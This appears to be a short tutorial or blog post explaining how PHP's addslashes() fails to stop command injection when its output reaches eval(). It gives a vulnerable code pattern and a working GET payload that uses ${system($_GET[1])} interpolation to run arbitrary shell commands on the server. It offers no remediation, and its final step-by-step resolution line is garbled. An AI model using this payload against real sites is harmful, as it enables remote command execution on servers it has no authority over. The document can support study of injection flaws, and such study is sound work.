PHP contains a method addSlashes() that many new programmers use (incorrectly) to sanitize their input. I will show you how to bypass this method when it's used to sanitize input to protect against a command injection.
Vulnerable code Patter
Code is vulnerable to this bypass if it followes the below pattern. Since this is PHP I'm going to assume we also are interacting with a website so query params are used.
public function vulnerableFunc($tainted) {
$sanitized = addslashes($tainted);
...
eval(...$sanitized...);
}
Why doesn't this work?
addslashes adds a backslahes in from of the following characters:
- single quote (')
- double quote (")
- backslash ()
- NUL (the NUL byte)
This list leaves open the values for variable replacement ${}
. This allows us to write an input that will not be touched by addSlashes and then later when it is evaluated it will be replaced with a dangerous command injection input.
The Bypass
For this example I'll use a basic GET call:
GET /index.php?input=
Where Command is being passed to addslashes()
and later into an eval()
block. We will try to run the command ls ./
using this input.
To run a system command inside eval we will want to get the following string into the Eval block: ${system("ls /")}
.
Step 1
First we'll make our "safe" string to get past addslashes().
${system($_GET[1])}
When evaluated this will call the system method with the value of the query param "1".
Step 2
Now we'll need to set the value of that query param.
1=ls+/
This is simply our command url encoded. Since we used a 'space' character we'd need to replace that with a '+'.
Final Query
So our final full query will be:
GET /index.php?input=${system($_GET[1])}&1=ls+/
So our code block will end up resolving in the following manner:
eval("${system($_GET[1])}");
eval("$system("ls /");
Now we can run any command as the PHP server on the underlying CLI.